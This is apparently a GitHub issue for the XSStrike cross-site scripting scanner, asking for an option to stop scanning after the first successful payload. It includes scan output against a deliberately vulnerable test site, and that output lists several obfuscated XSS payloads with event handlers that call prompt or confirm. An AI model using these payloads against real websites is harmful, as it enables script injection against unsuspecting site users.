#349·XSStrike

Stop scanner after first successful payload

Author: sergioro9Created May 25, 2022Updated May 18, 2025

Could we have an option to stop the scanner after the first successful payload. For example:

$ xsstrike -u 'http://testphp.vulnweb.com/search.php' --data 'goButton=go&searchFor=test'

	XSStrike v3.1.5

[~] Checking for DOM vulnerabilities 
[+] WAF Status: Offline 
[!] Testing parameter: goButton 
[-] No reflection found 
[!] Testing parameter: searchFor 
[!] Reflections found: 1 
[~] Analysing reflections 
[~] Generating payloads 
[!] Payloads generated: 3072 
------------------------------------------------------------
[+] Payload: <htmL/+/OnMouSeover%0a=%0aa=prompt,a()> 
[!] Efficiency: 91 
[!] Confidence: 10 
------------------------------------------------------------
[+] Payload: <d3v%0aOnPoiNtereNter+=+confirm()%0dx>v3dm0s 
[!] Efficiency: 92 
[!] Confidence: 10 
------------------------------------------------------------
[+] Payload: <a%0donpointEReNTer%09=%09confirm()%0dx>v3dm0s 
[!] Efficiency: 91 
[!] Confidence: 10 
[~] Progress: 5/3072

I would like to stop after the first successful payload <htmL/+/OnMouSeover%0a=%0aa=prompt,a()> and avoid going through all 3072 generated payloads.